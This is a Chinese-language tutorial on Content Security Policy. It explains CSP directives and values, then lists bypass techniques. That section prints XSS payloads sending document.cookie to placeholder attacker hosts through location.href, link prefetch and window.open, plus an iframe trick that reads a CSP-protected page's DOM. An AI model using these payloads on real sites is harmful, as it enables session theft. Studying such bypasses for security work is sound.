什么是CSP
CSP(Content Security Policy,内容安全策略),是网页应用中常见的一种安全保护机制,它实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,哪些不可以。CSP可以只允许被认可的JS块、JS文件、CSS等解析,只允许向指定的域发起请求。
除了CSP,还有一个Content-Security-Policy-Report-Only
字段,表示不执行限制选项,只是记录违反限制的行为。它必须与report-uri选项配合使用。
Content-Security-Policy-Report-Only: default-src 'self'; ...; report-uri /my_amazing_csp_report_parser;
CSP可以通过相应包HEADER设置实现
Content-Security-policy: default-src 'self'; script-src 'self' allowed.com; img-src 'self' allowed.com; style-src 'self';
或者HTML标签
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
指令
script-src:外部脚本
style-src:样式表
img-src:图像
media-src:媒体文件(音频和视频)
font-src:字体文件
object-src:插件(比如 Flash)
child-src:框架
frame-ancestors:嵌入的外部资源(比如<frame>、<iframe>、<embed>和<applet>)
connect-src:HTTP 连接(通过 XHR、WebSockets、EventSource等)
worker-src:worker脚本
manifest-src:manifest 文件
dedault-src:默认配置
frame-ancestors:限制嵌入框架的网页
base-uri:限制<base#href>
form-action:限制<form#action>
block-all-mixed-content:HTTPS 网页不得加载 HTTP 资源(浏览器已经默认开启)
upgrade-insecure-requests:自动将网页上所有加载外部资源的 HTTP 链接换成 HTTPS 协议
plugin-types:限制可以使用的插件格式
sandbox:浏览器行为的限制,比如不能有弹出窗口等。
值
*: 星号表示允许任何URL资源,没有限制;
self: 表示仅允许来自同源(相同协议、相同域名、相同端口)的资源被页面加载;
data:仅允许数据模式(如Base64编码的图片)方式加载资源;
none:不允许任何资源被加载;
unsafe-inline:允许使用内联资源,例如内联<script>标签,内联事件处理器,内联<style>标签等,但出于安全考虑,不建议使用;
unsafe-eval:允许不安全的动态代码,例如JavaScript eval()
nonce:通过使用一次性加密字符来定义可以执行的内联js脚本,服务端生成一次性加密字符并且只能使用一次;
绕过
location.href
href 属性是一个可读可写的字符串,可设置或返回当前显示的文档的完整 URL。
CSP不影响location.href
跳转,因为在大多数网站中的跳转功能都是靠前端实现的,如果限制跳转将会使网站很大一部分功能受到影响,所以利用跳转来绕过CSP是一个万能的方法;或者存在script-src 'unsafe-inline';
这条规则也可以用该绕过方法
<script>location.href="http://127.0.0.1"+document.cookie;</script>
link标签预加载
link标签会预加载,导致CSP无法约束。不过好像大部分浏览器都约束了link
<!-- firefox -->
<link rel="dns-prefetch" href="//${cookie}.vps_ip">
<!-- chrome -->
<link rel="prefetch" href="//vps_ip?${cookie}">
动态构建元素,再引发页面跳转,就可以外带
var link = document.createElement("link");
link.setAttribute("rel", "prefetch");
link.setAttribute("href", "//vps_ip/?" + document.cookie);
document.head.appendChild(link);
meta标签
利用meta标签实现网页跳转
<meta http-equiv="refresh" content="1;url=http://x.x.x.x:7890/" >
除此之外:
meta可以控制缓存(在header没有设置的情况下),有时候可以用来绕过CSP nonce。
<meta http-equiv="cache-control" content="public">
meta可以设置Cookie(Firefox下),可以结合self-xss利用
<meta http-equiv="Set-Cookie" Content="cookievalue=xxx;expires=Wednesday,21-Oct-98 16:14:21 GMT; path=/">
iframe绕过
在CSP中,通过配置sandbox和child-src可以设置iframe的有效地址,它限制适iframe的行为,包括阻止弹出窗口,防止插件和脚本的执行,而且可以执行一个同源策略。
iframe 元素会创建包含另外一个文档的内联框架(即行内框架),我们可以通过设置这个来做到一个跨域访问,这其中就有安全问题了.
同源 这才是主角,当一个同源站点存在两个页面,我们称它们为A页面和B页面,假如A页面有CSP保护,而B页面没有,我们就可以直接在B页面新建iframe
用js操作A页面的DOM,也就是说A页面的CSP防护完全失效
<!-- A页面 -->
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">
<h1 id="flag">flag{0xffff}</h1>
<!-- B页面 -->
<body>
<script> var iframe = document.createElement('iframe');
iframe.src="http://127.0.0.1/a.php";
document.body.appendChild(iframe);
setTimeout(()=>alert(iframe.contentWindow.document.getElementById('flag').innerHTML),1000); </script>
</body>
setTimeout是为了等待iframe加载完成
在Chrome下,iframe标签支持csp属性,这有时候可以用来绕过一些防御,例如http://xxx 页面有个js库会过滤XSS向量,我们就可以使用csp属性来禁掉这个js库。>
<iframe csp="script-src 'unsafe-inline'" src="http://xxx"></iframe>
window.location|open
在允许unsafe-inline的情况下,可以用window.location,或者window.open之类的方法进行跳转绕过。
<script>window.location="https://www.XXX.com/x.php?c=[cookie]";</script>
<script>window.open('//www.XXX.com/?'+escape(document.cookie))</script>
<script>window.location.href='https://www.XXX.com/?cookie='+document.cookie</script>